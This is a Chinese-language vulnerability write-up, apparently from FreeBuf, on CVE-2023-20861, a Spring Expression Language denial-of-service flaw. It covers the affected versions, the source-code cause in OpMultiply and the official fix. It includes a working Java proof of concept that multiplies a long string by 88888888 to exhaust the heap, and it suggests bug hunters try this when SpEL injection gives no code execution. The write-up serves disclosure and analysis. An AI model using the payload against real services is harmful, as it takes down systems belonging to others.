SPEL拒绝服务漏洞(CVE-2023-20861)复现及分析
0x01 简介
SPEL全称是 Spring Expression Language ,是Spring创建的表达式语言。用户可以输入特定的表达式导致拒绝服务。大家在挖洞的过程中可以关注一下,如果遇到的SPEL不存在远程代码执行漏洞,那么可以尝试一下拒绝服务漏洞。
0x02 影响版本
6.0.0 <= Spring Framwork <= 6.0.6
5.3.0 <= Spring Framwork <= 5.3.25
5.2.0.RELEASE <= Spring Framwork <= 5.2.22.RELEASE
0x03 环境搭建
创建一个maven项目,添加如下依赖
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactId>
<version>5.2.22.RELEASE</version>
</dependency>
0x04 漏洞复现
利用如下Demo进行测试,看到抛出OutOfMemoryError的异常
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;
public class Main {
public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();
SimpleEvaluationContext context = new SimpleEvaluationContext.Builder().build();
Expression expr = parser.parseExpression("'akundaakundaakundaakundaakundaakundaakundaakundaakundaakundaakundaakunda'*88888888");
expr.getValue(context, String.class);
}
}
0x05 漏洞分析
SPEL表达式执行时会调用org.springframework.expression.spel.ast.OpMultiply#getValueInternal,根据AST获取左边的操作符和右边的操作符。
当左边是字符串且右边是整数时,会循环将左边的字符串加入到result中,循环次数由右边的整数指定。
即 result = <左边的字符串> * <右边的整数>,当我们字符串够长,整数够大时就能占满heap。
0x06 官方修复
先计算出 <字符串> * <整数> 的数量,然后检查该数量是否超过了最大值。
0x07 参考链接
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐